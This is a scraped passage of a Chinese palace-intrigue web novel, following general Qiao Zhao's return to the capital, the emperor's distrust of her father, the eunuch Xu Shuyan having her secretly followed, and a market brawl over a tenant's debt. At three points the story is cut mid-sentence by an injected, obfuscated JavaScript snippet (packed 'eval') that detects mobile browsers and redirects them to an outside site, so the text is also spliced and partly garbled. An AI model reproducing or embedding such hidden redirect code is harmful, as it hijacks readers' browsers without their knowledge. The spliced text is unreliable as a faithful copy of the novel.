身边的竹风激动喊到:“夫人!那是小姐!小姐回来了!” 众人皆望向街道尽头,那抹黑色身影。 宁安郡主双眼一红,眼眶里续满了泪水。 五年,多少个日日夜夜,宁安郡主独留中京,千盼万盼,胆战心惊,生怕听到半点不好的消息从边疆传来。 她每日吃斋礼佛,庙里求来的佛经,抄了又抄,就是望佛祖保佑。 保佑丈夫女儿能在边疆平安归来。 如今,算是等到了这天。 眼看着泪水快要落下来,宁安郡主又怕失了昌敬候府的颜面,捏着手帕抵在嘴边,掩饰泪意。 乔昭一到昌敬候府门前,翻身下马。三步并两步,跑过去紧紧抱住宁安郡主。 “阿娘……” 乔昭语气哽咽,脸埋在宁安郡主肩上,就像是还没断奶的小狗崽子,蹭着眼泪。 “阿娘,我想你……” 宁安郡主刚刚还能控制情绪,现下抱着女儿,那眼泪跟断了线的珠子似的,掉个没完。她轻抚乔昭的背,一下又一下,耐心又温柔。 “平安归来就好,平安归来就好。” 宁安郡主这些年的日思夜想,寝食难安,终于平稳的落到实处,最后只化作六个字,平安归来就好 过了许久,母女二人缓和了情绪。宁安郡主拭掉眼角的泪,松开乔昭,关切的目光望向乔昭,将乔昭细细打量一番。 “身量高了些,看着更精神了点,但是黑了也瘦了。肃州这样苦寒之地,你一呆就是五年。这样的苦日子,你在中京可从未受过。” 说着说着,宁安郡主又红了眼。自古哪有父母不心疼子女的,以前乔昭在中京千娇万宠,一朝去了边塞,吃喝住行都差了一大截。 乔昭急忙安慰道:“肃州地广人稀,可比中京自在多了,在军营里我学到了很多在中京接触不到的东西。” 她忙给宁安郡主擦眼泪,笑道:“再说,还有父亲在军营里,总能照顾到我的。” “你父亲什么为人,我还不知道吗?他古板刚正,哪里肯越过规矩多照顾你?你莫要为了安慰我,就哄骗我。”宁安郡主拍开乔昭的手,佯装生气道。 乔昭讪讪一笑,转移话题:“府里用晚膳了吗?我从宫里回来,一口水都还没喝呢。” 宁安郡主这才想起乔昭还没吃饭,一下子收了话,拉着乔昭进了府里。 “今日一大早膳房便开始做菜,全是你爱吃的。但是左等右等,你就是没回来。只能撤下去,现下菜还是热的。” 乔昭跟在她身后,悄悄呼了一口气,总算是搪塞过去了。 宁安郡主坐在饭桌的另一侧,就这样的目光温柔的注视乔昭吃饭。 乔昭不挑食,山珍海味吃过,干馍泡水也吃过。但这一桌子的菜全是乔昭从小吃到大的,五年没吃了,现下还真有点想念。 屋内一片安静,只有筷子碰触碗碟的声音。 “现下大战告捷,你父亲几日才能回到中京?” 见乔昭吃的差不多了,宁安郡主才开口问道。说道乔愈年,夫妻二人竟已七年未曾见过。 “约莫还有半月。”乔昭回答道。 宁安郡主颌首,又说道:“你也累了,待会儿洗漱一下,便歇下。你的寝卧,我一直吩咐竹风给你打扫着,今日还换了干净的被褥。” “多谢阿娘!”乔昭又给了母亲一个拥抱。 宁安郡主笑着拍了拍她的背,温声道:“好好休息。” “好。”乔昭答道。 直到乔昭洗漱干净,躺在自己的床上,仍然有着不实感,不再是军营里被寒风吹得猎猎作响的营帐。床铺干净温暖,没有突然响起的尖锐哨音,很安全的地方。 乔昭缓缓陷入沉睡。 ………………………… 承天门门外,天已经完全黑透了,路上早就没了人,一片安静寂寥,甚至连照明的灯笼也被统一熄灭。 “天干物燥,小心火烛。” 两名更夫,一人提着灯笼,一人敲锣打梆。沿着街道,边走边敲锣。 月亮高高悬挂在夜空中,估摸时间应该到了子时,人们都睡沉了。 徐霁徐淮还守在承天门门外,天黑了,他们点亮几盏灯笼。 “都这么晚了,掌印怎么还没出来?今夜是歇在宫里了吗?”徐淮看向宫门,问道。 他们从天光大亮等到夜黑风高,乔昭都走了几个时辰了,徐纾言还没从宫里出来。 徐霁摇摇头,目光平和:“掌印若是歇下了,会吩咐人来通知我们。现下想必还在和皇上交谈吧。” 徐淮点头,深以为然:“确实,掌印受皇上器重,出去了几个月,想必有很多政务需要处理。” 说徐纾言受皇上器重这话一点也不假。许多朝政上的事,都会经过徐纾言的手,筛选一遍,再到皇帝面前。 徐纾言从小跟在皇帝身边,从当今皇帝还是皇子的时候,两人在那冷冰冰的偏殿度过,过着朝不保夕的日子。顾昀之虽然皇子,却是宫女生的儿子,在这宫里根本无人在意。 谁曾想一年以后,先皇驾崩,北齐却未立太子。然后这皇位不知怎地,就到了顾昀之头上。 圣上年幼,没有能力处理朝政。朝堂上便有大臣提议,让先皇皇后,也就是如今的太后周承钰垂帘听政。 顾昀之在皇位上就是一个傀儡,没有任何实权。朝堂上的臣子们每日朝拜,拜的只是那个珠帘后的女人。 就这样,过了十年,周承钰病倒了一段时间。 那年顾昀之十五岁,徐纾言十八岁。 权利短暂的松动,落了些许到顾昀之手里。随后几年,他渐渐开始培养自己的羽翼,拉拢朝中的大臣。暗中削弱太后的势力 与其说顾昀之器重徐纾言,倒不如说徐纾言是顾昀之对外的一把利刃。 顾昀之纵容徐纾言的嚣张跋扈。徐纾言在外肆意杀掉的官员,是顾昀之的绊脚石。徐纾言收受贿赂提拔的官员,是顾昀之想要笼络的人才。 很多事情,顾昀之明面上要当个傻皇帝,便只能借徐纾言的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038366|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手去做。但是落在世人眼里,便是徐纾言在朝堂上只手遮天,阴狠毒辣。 徐纾言和皇帝就是同一条船上的蚂蚱,至少在面对太后一派,他们的目标是一致的。 当然徐纾言也得到了无上的权利,自他入宫起,想要牢牢抓住的就是权利。他还有许多事要做,若是没有权利,那只能是一场空。 …………………… “乔愈年此人性情谨慎,刚正不阿,在朝中从不结党营私,是十分中立之人。”徐纾言淡淡说道。 黑夜里,立政殿灯火通明,顾昀之手里拿着一张纸,上面有许多人的名字,而乔愈年的名字便在第二位,用毛笔划上了圈。 第一位便是当朝太傅,宋祉,他是北齐三代老臣,年逾古稀。 顾昀之看向坐在一旁的徐纾言,说道:“乔愈年一直以来便在武官中名声极佳,这次大败西戎,在朝中定是受尽拥戴。” “臣几次试探他,但此人并没有投靠之意。且他十分聪明,含糊其辞,不愿正面答复。”徐纾言回答。 私底下,顾昀之和徐纾言以君臣相称。 顾昀之眼眸中闪过一丝厉色:“他手握十万大军,在军中又颇有威望,若此人不能为我所用,那将是一个劲敌。” 徐纾言抬眼,看着顾昀之眼中神色郁郁。其实顾昀之并不如表面那样温和近人,实则他心机深沉,行事果决,从不手软。 徐纾言迟疑一下,还是坦白说道:“乔元帅中立,虽不投向陛下,对太后一派也同样疏离,不一定会成为我们的敌人。且西戎虽败,却未必没有卷土重来的机会。若是西戎再次侵犯我国疆土,我朝便无猛将可用可用。” 面对不能为他所用的人,顾昀之向来不会心慈手软。但顾昀之也知徐纾言说的是事实。 北齐最大的弊端,便是重文轻武,在战场上无将军可用。而北齐周边的西戎南蛮都是劲敌,虎视眈眈。 他不是那般没有脑子的人,面对江山社稷,顾昀之十分看重,定不会如此莽撞。 “我知晓其中厉害,乔愈年先密切观察着。但他手里握着兵符,女儿又如此天资卓越。若是父女二人皆位高权重,这江山易主也未尝没有可能。” 顾昀之面色阴沉,轻飘飘的就说出了能株人九族的话。甚至这根本没有发生,仅仅是因为他的猜忌,就给一位劳苦功高的元帅定了罪。 徐纾言瞳孔微缩,眼中冰冷一闪而过。 他站起身来,走到顾昀之身边,语气冷凝:“若陛下一意孤行,定会让朝中武将寒了心。乔昭此人在战场上能力出众,有目共睹。就此埋没,反而令人生疑。” 顾昀之沉默无言,没有反驳。 乔昭确实出类拔萃,明眼人都能知道她在西戎一战中立了大功。若当真是随便给个闲职,就打发了去,真就说不过去。 他沉吟片刻,道:“给她一个位高,但是没有实权的位置吧,也好堵了他人的嘴。” 顾昀之又勾起了唇角,笑着对徐纾言说:“乔昭惊才绝艳,若她家世贫寒,又入了我麾下,那定然要重用的。可惜她是乔愈年的女儿。” 君王猜忌,犹如暗处的利刃,随时要人性命。 徐纾言不再说话,就这样沉默的坐着,心不在焉一般。 良久。 他起身行礼,道:“微臣先告退了。” 顾昀之也不管他没经过皇帝允许就私自告退。就如他今日所言,私底下,他们从不讲那些虚礼。 顾昀之摆了摆手,让他退了下去。 48. 第48章 这半月,大军还未班师回朝,乔昭过了好些休闲日子。 她偶尔无事,便会去裴空青开的医馆,帮帮忙打打下手。 说道裴空青,那日他们一同到了中京城外。与大军汇合之际。裴空青下了马车,与乔昭辞别。她不是军队的人,本就不方便与将士们同受凯旋礼。 “你在中京可有住处?”乔昭望着裴空青问道,她想了想又说道,“若是你俩没有住的地方,可以随我回昌敬候府住一段时间。” 乔昭看着裴空青与小药童,一主一仆,到了中京也没个接应,怕她们连住的地方都没有。反正昌敬候府冷清,多一两个人也无事。 裴空青微微一笑,柔和道:“多谢乔姑娘好意,我父亲曾在中京有一处宅子,所以不用担心我的住宿。只是我已经几年未曾回去过,还需收拾整洁以后,再宴请乔姑娘上门做客。” 乔昭摆摆手,悠然道:“不用这么客气,带你来中京只是顺手的事。说到底还是我们需要感谢你,若非有你,那位估计病得更加严重了。” 她下巴往徐纾言马车方向示意。若不是有裴空青,以徐纾言当时病得昏迷不清的情况,还真有点难办。 裴空青知道乔昭指的是徐纾言,她温声道:“举手之劳罢了,且我作为郎中本就为了治病救人。” 乔昭又看向裴空青拉书的牛车,她的书籍真的很多,用了整整一辆牛车,才堪堪装下裴空青的书。 “那你日后到了中京可有何打算?还继续当郎中吗?”乔昭又问道。 裴空青点点头,柳叶细眉弯弯,含笑道:“我到了中京先开一个医馆,给老百姓治治病。顺道温习医书,参加明年春季的太医院举办的选拔考试。” 乔昭这下觉得有些惊奇了,问道:“你想去宫里当太医?” “宫里的太医可不好当的。” 不怪乔昭这样惊讶,因为裴空青看着就像那些悬壶济世的名医,他们行走在江湖中,竹杖芒鞋。见过各种各样的疑难杂症,拯救一个又一个生命。 而非在皇宫里,高高的红墙,犹如四角牢笼。在那里已经不再是单纯治病这样简单,需要治的是人心。 裴空青颌首,温声道:“我父亲以前便是宫里的太医,我去参加太医院的考试,也算是圆了父亲遗愿。” 乔昭颌首,没在说什么。 见她这样说,乔昭虽然内心觉得有些可惜,但是人各有志,她也没有过多劝阻。 自那日以后,二人便在中京城外分别。走时,裴空青告诉了乔昭住址,位于西市的兴道坊。 ………………………… 今日乔昭便会来到了西市,西市在北齐是商业较为发达的区域,许多商人住在这一片。做生意的地方,人总是格外的多。 兴道坊还算人较少的,别的坊间街道两旁都是小贩,卖什么的都有,各式各样。 以前乔序乔昭两兄妹就爱来西市逛,热闹。 乔昭一踏进这里不禁有物是人非,时光飞逝的恍惚悲凉之感。 西市还如以往一般热闹,人来人往,仿佛一切都没有变。可如今乔昭形单影只,一人独行。 乔昭甩掉内心的阴郁,脸上扬起笑容,往裴空青的府邸而去。 她回了中京虽然暂时还没上任,但她毕竟刚回来,前几日一直都在处理各种琐事。虽比不上肃州忙碌,但小事繁杂,耗费时间。 也就是最近得了空,便立即来找裴空青。 裴空青的府邸是一个三进小院,现下开着大门。乔昭走了进去,院里空空荡荡的,家具看着简陋,也没什么人气。 乔昭一进去,小药童正在院里扫地,她转身就看见乔昭手里提着继续走进来。 小姑娘笑着跑过来,软软道:“乔姑娘来啦!是来找我师父的吗?” 乔昭揉揉小药童的头发,问道:“你师父在府里吗?” 顺便将手里提着的礼物递给小药童,笑道:“锦芳斋的芙蓉糕,我可是排了好久的队才买到的。” 小药童欢呼一声,脸上绽开甜笑,接过糕点:“在的!就在内院,我带姑娘去。” 乔昭走进内院,裴空青正在低头看书,见到乔昭来,裴空青忙起身去迎。 “师父!乔姑娘买的锦芳斋的芙蓉糕!”小药童将油纸包好的糕点递过去。 裴空青笑着说道:“来就来,带什么礼物。不需要讲究这些虚礼。” 乔昭随口道:“路过的时候看见,就买了。给小孩子吃的。” 她进来的时候,四下看了看,院里颇为冷清:“你开业了吗,怎么没看见有病患前来。” 裴空青回答道:“已经开业,可能是初来乍到,街坊邻居都认不全,哪里会有病患找上门来。” 这确实,中京城内药馆还挺多的,有一家规模甚大,是太医院元正周锦江的长子所开。 按宫里的规矩,一旦入宫做了太医,便不能在外面做郎中接私活。只有等到从宫里退出来以后才能开医馆。 因此周锦江虽然不在里面替人看病,但是他太医院院正的名气,依然让许多病人慕名而来。 裴空青这样孤零零一人来开个医馆,刚开始没人实在太正常不过了。 乔昭脑子一转,想到一个办法:“要不我找木匠给你定做一块门匾,上面提字:妙手回春。这样他人从你门前经过,一瞧便知道你是郎中,久而久之,总会有几个进来寻你治病。” 裴空青忍不住笑开,柔声道:“那多谢乔姑娘了。乔姑娘已经帮了我很多,空青实在无以为报。” “举手之劳而已,你为何总是如此客气。你我同龄,叫我乔昭便好。”乔昭挑了挑眉,说道。 “好,乔昭。”裴空青笑着注视着乔昭。 …………………… 乔昭这边空闲,但是徐纾言那边却夜以继日,十分忙碌。 那日徐纾言从宫里出来,夜很黑,让皇城显得更加空旷可怖。他从立政殿里出来便一直沉默着,轿子外面高少监在旁边提着灯笼,给徐纾言照明暗路。 高少监是一个会来事的,心思细腻,八面玲珑。一路上都能听到他絮絮叨叨的说着些吉祥话。即使徐纾言从不搭理他,沉默不言。 很明显,皇帝忌惮乔愈年,但是他拿乔愈年没办法。只能挟制乔昭,毕竟乔昭资历浅,知道她的人不多。 徐纾言垂着眼睫,有些出身。他想到了五年前乔昭一袭黑衣,蒙着黑巾,夜闯他的府邸。 乔昭那会儿年纪还小,但是功夫却不差,徐霁徐淮两个人都不是她的对手。她那时候眼睛亮晶晶的,透着机敏狡黠,跟山间的小鹿似的。 再后来就是五年之后,他去肃州军营里,再次看到乔昭。虎父无犬女这句话用在乔昭身上,再合适不过。他虽然不管军中事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050672|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务,但是也从很多人的嘴里听到过乔昭。 他们都说乔昭是难得的军事奇才,思维敏捷,骁勇善战。能文能武,不可多得。 军中都说乔昭是天才。可是天才在圣上眼里,不过是一颗挟制各方势力的棋子,无甚稀罕。 飞鸟尽,良弓藏, 徐纾言心里说不出是什么感受,很复杂。他早已预料到乔昭回京以后会是怎样的结果。 可是知道是一回事,心里的情感是另一回事。他不敢去想,那样一个骄傲的姑娘,在战场立下汗马功劳,到最后竟然这样讽刺的结果。 徐纾言坐在轿子里缓缓闭上双眼,双眉微蹙。 “宫里这几月,可有发生何事。”快走到宫门口的时候,徐纾言才低声问道。 高少监忙回复道:“宫里甚是安稳,太后那边也没了动静,只是您提拔的那几位小官,日子不太好过。总是被针对,所以有些郁郁寡欢。” 徐纾言冷笑一声,睁开眼,双眸阴冷。 太后当然没了动静,因为在最后憋这个大的,若没有乔昭,徐纾言差点都死她手里。 轿子悠悠的就到了宫门外,高少监连忙去将轿帘掀开,扶着徐纾言出来,殷勤周到。 徐纾言转身,目光幽深,注视着面前的高少监。 良久,他冷哼一声淡淡道:“好好办事,日后你的位置可不止少监。” 高少监眼中闪过一抹喜色,忙不迭弯腰,说道:“奴才谨遵掌印教诲!” 徐纾言没管他,转身就走,上了回府的马车。 …… 待徐纾言回了府邸第二日清晨,皇帝便让高少监过来传话,让他这几日休息,不用回宫上值。 话是这样讲,但是该但他手里的奏折一封也没少,堆积了好几个月的奏折,不是一天两天就能处理完的。 这几日夜里他书房的灯笼就没熄过,经常一亮一整夜。第二日太阳升起以后,阳光透过窗柩洒在书房的地板上,徐霁又来将徐纾言房里的灯笼熄了。 徐霁徐淮心疼他,有时候想要劝阻徐纾言,这样熬身子都给熬坏了,每每他们苦口婆心说道,徐纾言总是不耐烦让他们出去,徐霁徐淮又不敢逆着他的脾气,只能闭嘴。 连续处理了几天政务,徐纾言才将积攒的折子批完。 好笑的是,里面还有许多弹劾徐纾言的折子,说他专横跋扈,宦官当道。徐纾言寥寥看了几眼就打了回去,冷笑一声,在奏折上批注了一句。 “何不以溺自照?” 这下是惹到真阎王爷了。 天又亮了,徐纾言才放下手中的毛笔,抬手揉了揉自己的眉头,面无表情,气势骇人。 徐霁走上前来,温声道:“身子要紧,掌印还是去歇息吧。” 徐纾言抬眼,脸色苍白,双眼都熬红了,里面有些红血丝。他满脸阴郁,脾气看起来十分差,谁要这个时候招惹他,当真是嫌命太长。 他坐在书房里,早晨的阳光慢慢移动,最后洒在徐纾言的脸上。让他原本阴沉的脸色都变得柔和了许多。 徐纾言就这样看向徐霁,一句话也不说,让徐霁有些莫名。但是他这个时候也不敢问,只能胆战心惊的站在那里。 徐纾言睫毛颤了颤,双眉微蹙。嗫嚅着,似乎不知道怎么开口。 良久,他轻声问道:“这几日乔昭可还过得好?” 49. 第49集 自从那晚两人之间不欢而散,之后乔昭与徐纾言几乎就不再说过什么话。 宫里一别,两个人就再也没见过面。刚回来,堆积的折子又多,要过目的事情也多,徐纾言没日没夜的伏案处理。 只有让繁杂事务充斥大脑,才能麻痹对乔昭的思念。 但现在陡然闲了下来,关于乔昭的事,就如千丝万缕之间,缠绕在心里。剪不断,理不清。 他就是一个卑鄙阴暗的人,从他们分开的那一刻,徐纾言便吩咐了暗卫,每日秘密跟踪乔昭。 一旦有什么事情,立即上报。 徐纾言并不觉得这样做有什么不对,他如果不这样做,那又能从哪里得到乔昭的消息呢? 她根本不愿意与他私下见面的。 “乔都尉这几日甚好,时常骑马在中京城四处闲逛,还经常去裴郎中那里打下手。”徐霁松了一口气,连忙回复道。 徐霁顿了一下,有些无奈的说道:“只是乔都尉十分敏锐。我们的人跟着她,过不了太久就会被她甩掉。” 最主要是乔昭就算发现了,她也不是立刻甩掉他们。而是跟招猫逗狗一般,带着身后暗卫一会儿去这处溜溜,一会儿又去那处溜溜。 不感兴趣了,又将他们快速甩在身后,就像鱼入大海,转瞬间消失不见。她耍着暗卫玩,乐此不疲。 很让人头疼。 徐纾言眼中闪过一丝笑意,悠悠说道:“无事,你们那点技俩在乔昭眼里本就不够看,被她甩掉也正常。” “叫人继续守着。”徐纾言吩咐道。 “是。”徐霁回答。 …………………… 乔昭当然知道有人跟踪她,从这些人第一天出现在她身后,她就已然察觉。 不过她倒是无所谓,正好也无聊,玩玩咯。 她刚刚踏进西市,左拐右拐,甩掉身后那些烦人的小老鼠,乔昭心情甚是愉悦。 乔昭今日也去找裴空青,可能是因为她送的那块“妙手回春”的牌匾还真有点用,反正她那里确实多了些来看病的百姓。 但是这人一多,就她们主仆二人,便有些顾不过来。于是乔昭有空就去给她帮帮忙,打打下手,顺便也能学到些简单的医术。 今日的西市也如往常一般热闹,乔昭就这般不疾不徐的走着,边走边瞧。 不远处,有一群人围着一起,似乎在看热闹,交头接耳议论纷纷。 乔昭正巧要路过那里,也凑过去看。 “不要!不要抓走我!!爹娘救救我!” 一声尖锐的哭喊声,喉咙嘶哑,让人汗毛竖起。随之而来的就是一声怒吼。 “今日由不得你们,你家收成不好,欠了这么多银子!这钱只能由你们姐弟补上!” “当初把田租给你们,一百亩田,你们每年给我们上缴五十石粟。可是都到了这个时候了!还没凑齐!” “一年这样!两年还是这样!!你家算算你欠了多少?!我们家老爷不是搞慈善的!” 哭声越发凄惨,以及一句又一句的求饶声听得人泪水涟涟,在场的人都有些不忍心。 “大人,实在是收成不好,我们也没办法啊!您再宽限我们几天,我们正在凑银钱,马上就够了!您再宽限几天!” 那中年男人,跪着过去,紧紧握住那管家的衣摆,满是皱纹的脸上神色焦急,不知所措。儿女的哭声犹如催命符咒。 那管家一把将人踹开,神色不耐烦的说着。 “别人能种好,你就种不好?你不要跟我说那么多,你还不上钱,这俩孩子我只能带走。去有钱人家府里为奴为婢,比你种田吃得好!” 他摆摆手,让身后的侍卫将这俩孩子拖走。孩子又哭又闹,脸上一把鼻涕一把泪,挣扎得厉害。 …… “喂!” “你没看见小孩不愿意跟你走吗?!几十石就想抢走两个孩子,你真是算盘打得噼啪响。”冷冽的话从人群中传了出来。 乔昭走了过去,一把拽住侍卫的手,将一个孩子扯回身边。 小女孩跑到自己的父母身边,她的母亲紧紧将她拥住,一边擦着掉下的眼泪。 乔昭转身,眼眸冰冷,望着刚刚那位管家。那管家长得肥头大耳的,满脸油光,身上穿的都是平常人家穿不起的锦袍,凶神恶煞的样子。 说他吃亏?!谁信啊。 “把那个孩子一起放了。”乔昭目光示意他们抓得另一个小孩。 那管家看着突然冒出来一个见义勇为,打抱不平的。又看乔昭瘦弱的样子,跟自己身后那满身腱子肉的侍卫不能比。 管家斜着睨向乔昭,不带正眼瞧人:“你算什么东西,管爷爷我的事?欠债还钱,天经地义,需要你在这里做救世主?” 他看乔昭细皮嫩肉,长得又好看,邪笑一声:“你也是赚点辛苦的皮肉钱,就自己留着,别出来逞……”英雄。 他话还没说话。 乔昭走上去就是利落一耳光,将那管事煽得脸上肥肉乱颤,一脸懵逼。 “嘴巴给我放干净点。嘴巴要是不会说话,就直接缝起来好了。” 那管事懵了一会儿,顿时勃然大怒!大声吼道:“给我抓住她!抓住她!!竟然敢打我!给我打断她的腿!!” 身后的侍卫一拥而上,向乔昭扑过来,乔昭丝毫不惧。 说实话,他们也就是人多,体格大,看着唬人罢了。真要跟乔昭打起来,还真赢不了她半分。 眼看这里的越闹越凶,已经完全不是刚才一边倒的情形。围观的人越发的多,里面打得鸡飞狗跳,看热闹的不少人都遭了殃。 周行亭路过的时候就是看到这样一副人仰马翻的情景,他额头青筋直跳。本来心情就很差,还要处理民众纠纷! 说真的他太倒霉了!! 皇帝派他去接徐纾言回来,这本来就是十拿九稳的事情。就沿着官道去接个人,能废多少功夫? 谁曾想到,他派了那么多人过去。快马加鞭,愣是跑了两天两夜,都快跑到别的城池去了,也没遇到徐纾言。 就是这么邪门! 周行亭也不是个傻的,自然发现了其中的不对劲,转身就想回来找他们。害怕是路上不小心错过了。 才刚点转头呢,就听到消息,掌印都已经到中京城,都进宫了。 …… 周行亭:? 事后他越想越不对劲,怎么会在路上擦肩而过没认出来呢?等快到了中京,才陡然想起那日。 与那个女人争斗那日,后面马车上那人一直就没出来过! 而罪魁祸首,那个女人!明明知道他是羽林卫,但愣是一声不吭,就眼睁睁看着他离开了。 她就是在戏弄他! 周行亭想着想着更加怒火中烧!面对眼前的闹剧更是没了心情! 他大吼一声:“何人在此喧哗!中京城内禁止闹事,都皮痒痒了是吧!要闹都随本官去衙门里闹!” 他坐在马上,身后还跟着几个羽林卫。几个人人高马大的,吼人的时候又中气十足。 大家都被吼得一愣,转头向他看去。 那管事的看见他身上穿着羽林卫服制,一惊,这可惹不起。连忙腆着个笑脸走过来。 “官爷我们没有闹事啊!是那个女人,她不分青红皂白的打我,我的侍卫们才还手的。” 管家伸着一张脸,将右脸面向周行亭,语气颇为委屈。 周行亭看见他脸上红彤彤的巴掌印,又把目光望向那个女人的背影。 看着挺瘦的,这手劲儿还挺大。 他目光看向那个背着他的女人,语气严肃: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064209|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “转过身来,中京城禁止打架斗殴,你不知道吗?” 半响。 那人缓缓转过身来,周行亭渐渐看清她的脸,觉得越发熟悉。 周行亭就这样盯着乔昭的脸,两人目光对视,直到乔昭对他微微一笑。 …… 全记起来了,这下全记起来了!! 是她! “好久不见啊。”乔昭笑着对周行亭打个招呼。 周行亭咬牙切齿,怒目而视:“好久不见!” 那管家见势头有些不对。他俩咋是认识的?! 他在旁边不确定的又唤了一声:“官爷?” 周行亭这才回过神来,看向眼前的闹剧,周围还围着那么多人。 他必须先将份内职责处理好。 “说吧,你们为何在此处闹事。” 那管家在他旁边添油加醋的,把事情说了一遍。周行亭又不是个傻的,怎么可能管家说什么,他就信什么。 再看他这个肚子滚圆的样子,又看着另一边的佃户粗布滥衫,面黄肌瘦的样子。 谁欺负谁,一眼便知。 那管家说完就等着周行亭给他个公道,顺便把乔昭狠狠打一顿。 周行亭坐在骏马上,垂首看着管家,正色道: “既然那佃户说了,过一段时间凑钱交给你,你便通融些时间又如何?再加上天道不好,收成不好也是常事,为何你们不降低点租银,也好让佃户能有转圜的余地。” 那管家被他说的哑口无言,虽然他心里不服气,但是民不与官斗,他又怒气也只能憋着。 弯腰连声说:“官爷说的是!那我在宽限他们几天。” “几天哪里够?再宽限一个月。” 那管家心里一梗,忍耐闭眼,咬着后槽牙说道:“都听官爷的。” 眼看着事情解决,羽林卫便开始驱散围着的人群。大家看到没有热闹看了,也渐渐散去。 那佃户颤颤巍巍走过来,一家老小齐齐跪在地上,涕泗横流,小孩子更是眼睛都哭肿了。 “多谢姑娘,多谢官爷。若不是你们,我家这俩孩子,就真的保不住。我和他娘哪怕是自己饿死,也不愿意卖了他们去别人家为奴为婢。” 说着说着竟然哽咽着准备向他们二人磕头。 周行亭连忙翻身下马,扶住了他们的手臂,满脸为难的看着乔昭。 乔昭在一旁安慰道:“大伯,你起来吧。这样跪着我们也为难。” 那佃户才意识到周行亭是朝廷官员,这样会给他招惹是非,于是擦了泪连忙起身。 周行亭看他们实在可怜,尤其是小孩子骨瘦如柴的样子,着实不忍。 他在袖里掏了掏,随后将自己的荷包塞到大伯手里,里面银钱不多,但也够佃户一家还债了。 那佃户本来不想接的,但是想想自己的孩子,又看着周行亭坚定的神色,只能瑟缩着接过荷包。 又让那两个小孩子磕头谢恩,周行亭面上冷酷,其实耳根通红,他连忙拒绝。 好不容易送走了佃户一家,周行亭才转头看向乔昭,怒目而视。 “说吧,看你怎么解释?” 乔昭轻勾唇角,转身向裴空青的府邸走去:“就你看到的那样,没啥好解释的。” 周行亭追过来,咬牙切齿道:“所以你在戏弄我!” “我有问过你啊,但你不听。”乔昭回复道。 周行亭生气:“我怎么知道,你后面的马车里坐着掌印?!” 乔昭慢悠悠道:“那只能怪你观察不够仔细。” “你!!”周行亭怒。 两个人在热闹的西市接头吵吵闹闹。二人年龄相仿,穿着打扮又贵气,许多人都向他们投去目光。 而这一切都被徐纾言派来的暗卫看在眼里。 50. 第50章 徐纾言又病了。 他其实身子一直不好的。去了一趟肃州,那里气候干旱,黄沙漫天。徐纾言水土不服,刚到肃州那会儿还发了烧。 现在回了朝廷,更是心力交瘁。他受了伤又没有好好休养,一到中京,连续好几个日夜,没有停歇。黑夜里的烛光,陪伴着他伏案忙碌的身影。 于是在某一日清晨,徐纾言彻底病倒了。 平日徐纾言很准时醒来,极少有看到过他哪日迟了。可是今日,已经日上三竿了,徐霁也未见到他从房里出来。 他不敢进徐纾言的寝卧,只能站在门外敲门。 “掌印,您醒了吗?”徐霁问道。 屋子里很安静,没有人回答。徐霁这下真有点着急了,他更加用力的敲了敲门,里面若是有人,定能听见这些声响。 “掌印?掌印?!” 寂静在四周蔓延。徐霁一把将门推开! 徐纾言的房间空荡荡的,在外人眼里,他是司礼监掌印,在朝廷上说一不二,又私下收了很多朝廷官员送的礼。 肯定赚得盆满钵满,十个库房都放不下那些金银财宝。 然而他的寝卧,却截然相反。一扇屏风,一张床,整个房间最充实的地方,竟然是放满折子的书案。 比穷酸书生还不如。 但是现在徐霁无心去观察这些,他面色焦急,直奔徐纾言的床榻而去。 透过微透的纱织帐幔,能隐约看见紫檀木床上一个身影,无知无觉的躺在那里。 屋子里很静,所以徐纾言沉沉的呼吸声,反而听得更加清楚。 徐霁一走进便知道,坏事了! 他掀开帐幔,就看到徐纾言侧躺着,一个很没有安全感的姿势。脸颊透着红,呼吸很重,双眉微蹙,眼睫不断颤动,但就是醒不过来。 这明显就是高热症状! “掌印?掌印?!”徐霁焦急的呼喊。 但是徐纾言听不见别人说话,整个人完全没有意识,醒不过来。 徐霁走到门口大吼一声:“来人!快去叫大夫!要快!” “是!”守在暗处的影卫回复道,转身间便没了影子。 …………………… 徐纾言昨晚就觉得有些头疼,发冷。不过他没有多想,因为秋日夜凉,被风吹到会有点不舒适。 晚上,他就做了梦。 又是那个梦,这十几年来,他时常梦到当时的场景。 或许不是梦,因为那本来就是真实发生的。 这次的梦格外真实,连那些粘稠的鲜血,都散发着甜腻血腥味儿。 那天夜晚,也是这样秋日的夜。徐府的灵堂还挂着灯笼,白色的灯笼在黑夜中格外瘆人,徐府四处都是这样的灯笼。 梦里的徐纾言看着年龄很小,约莫八九岁模样。他笔直的跪在灵堂里,低垂着头,安静沉默。 